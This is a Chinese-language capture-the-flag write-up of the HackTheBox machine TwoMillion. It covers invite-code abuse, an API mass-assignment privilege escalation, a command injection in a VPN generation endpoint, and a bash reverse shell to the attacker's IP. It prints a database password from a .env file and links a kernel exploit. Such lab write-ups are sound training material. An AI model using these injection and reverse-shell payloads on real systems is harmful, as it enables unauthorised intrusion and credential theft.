TwoMillion - hackthebox

简介

前言

HTB不能把active靶机的WP上传到网上,不然会被封号(汗)

没事咱邮箱多,继续创个就是了

环境

靶机名称:TwoMillion

靶机地址:https://app.hackthebox.com/machines/TwoMillion

靶机IP:10.129.29.77

攻击机IP(kali):10.10.16.8

扫描

nmap好慢……先用fscan开路

fscan -h 10.129.29.77 -nobr -p "1-65535"
   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
10.129.29.77:22 open
10.129.29.77:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.129.29.77       code:301 len:162    title:301 Moved Permanently 跳转url: http://2million.htb/
已完成 2/2

22和80

HTTP

无法直接访问,先把域名2million.htb加进hosts

sudo echo "10.129.29.77 2million.htb" >> /etc/hosts

这下真穿越了()

image-20240629164052571

目录扫描

feroxbuster -u http://2million.htb/ -t 15 -w $HVV_Tool/8_dict/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt  -C 500  -d 2

image-20240629165833332

比较引人注意的是api,查阅了相关文档,没有token的话我们几乎啥都做不了,所以先想办法注册个号

注册账号

/invite路径即可注册号,但是要输入邀请码

image-20240629170018606

https://blog.csdn.net/Oavinci/article/details/90803233找到直接生成邀请码的方法,首先打开浏览器开发者工具,然后在控制台中输入makeInviteCode()

image-20240629170519902

image-20240629170547564

解密出来内容为In order to generate the invite code, make a POST request to /api/v1/invite/generate

于是我们对该路径post一下

> curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"VUpSQjQtWTNVMEgtNElTWEMtMlIxMkI=","format":"encoded"}}

base64解密出来为UJRB4-Y3U0H-4ISXC-2R12B

输入后就可以注册了

image-20240629180109433

image-20240629192819683

目录爆破

界面上几个按钮按下去要么没反应要么没东西,直接跟它爆了

feroxbuster -u http://2million.htb/home/ -t 15 -w $HVV_Tool/8_dict/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Cookie: PHPSESSID=f8sspsu3it6lpkvbvrk07vfs0g"  -C 500  -d 2

image-20240629194502327

/access路径没见过,点进去看看

image-20240629195119523

点击左下角的Connection Pack,会跳转到/api/v1/user/vpn/generate路径,然后下载一个openvpn文件。

image-20240629195209186

根据之前爆过的路径,可以尝试将其中的user换成admin,发现有相应,但是无法下载——大概是因为我们并不是admin。

api提权

因为现在登陆了用户,有了一定权限,所以再去看看能利用哪些api。直接输入/api/v1即可查看我们可以利用的api。

image-20240629201529927

v1	
user	
GET	
/api/v1	"Route List"
/api/v1/invite/how/to/generate	"Instructions on invite code generation"
/api/v1/invite/generate	"Generate invite code"
/api/v1/invite/verify	"Verify invite code"
/api/v1/user/auth	"Check if user is authenticated"
/api/v1/user/vpn/generate	"Generate a new VPN configuration"
/api/v1/user/vpn/regenerate	"Regenerate VPN configuration"
/api/v1/user/vpn/download	"Download OVPN file"
POST	
/api/v1/user/register	"Register a new user"
/api/v1/user/login	"Login with existing user"
admin	
GET	
/api/v1/admin/auth	"Check if user is admin"
POST	
/api/v1/admin/vpn/generate	"Generate VPN for specific user"
PUT	
/api/v1/admin/settings/update	"Update user settings"

可以看到/api/v1/admin/settings/update这个路径可以改变用户设置。直接PUT看看

image-20240629202840031

响应Invalid content type,因为没有指定Content-Type头。改成application/json

image-20240629203107404

现在又说缺email参数。加一个我们注册的email即可。

(很奇怪,直接发送还是提示缺少email参数,但是原封不动地经过BP代理就又可以了)

image-20240629205041229

经过BP代理。没办法,挂着好了,估计是BP转发的时候做了什么修正吧。

image-20240629205115533

现在显示缺少is_admin参数,加上即可,把数值设置为1。

image-20240629205349865

现在再给/api/v1/admin/auth发个GET请求,可以看到我们已经是admin了。

image-20240629205452378

命令注入

现在用POST访问/api/v1/admin/vpn/generate,同上面一样,每次回显都会要求加几个参数,跟着做即可,最终命令如下,即可下载admin的vpn了。

curl -X POST -H "Cookie: PHPSESSID=f8sspsu3it6lpkvbvrk07vfs0g" -H "Content-Type: application/json" -d "{\"username\":\"123\"}"  http://2million.htb/api/v1/admin/vpn/generate -o admin.ovpn

image-20240629211222986

文件是下载下来了,但没有可以利用的地方。其实,无论username输入什么值,都会生成一个openvpn文件,也就是说,username在这里很可能只是某个bash脚本里面用来生成文件的参数——意味着命令注入。

首先用;向前截断,再用#向后截断,向中间插入命令即可

curl -X POST -H "Cookie: PHPSESSID=f8sspsu3it6lpkvbvrk07vfs0g" -H "Content-Type: application/json" -d "{\"username\":\"123;pwd #\"}"  http://2million.htb/api/v1/admin/vpn/generate

image-20240629214252067

执行命令成功。起个监听,把反弹shell塞进去,直接打回来。

rlwrap -cAr nc -lvvp 40001
curl -X POST -H "Cookie: PHPSESSID=f8sspsu3it6lpkvbvrk07vfs0g" -H "Content-Type: application/json" -d "{\"username\":\"123;bash -c 'bash -i >& /dev/tcp/10.10.16.8/40001 0>&1' #\"}" http://2million.htb/api/v1/admin/vpn/generate

image-20240630140920432

html目录下用find遍历一下,找到一个隐藏文件

image-20240630142857061

www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

使用ssh连接admin用户,成功登陆。在用户目录下找到user.txt

image-20240630143216490

提权

邮箱里面有给admin的消息

image-20240630144043907

也就是说有个内核漏洞,根据其描述和内核版本,应该是指CVE-2023-0386,网上的poc还挺多的。

https://github.com/Fanxiaoyao66/CVE-2023-0386

image-20240630151220643

结束

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值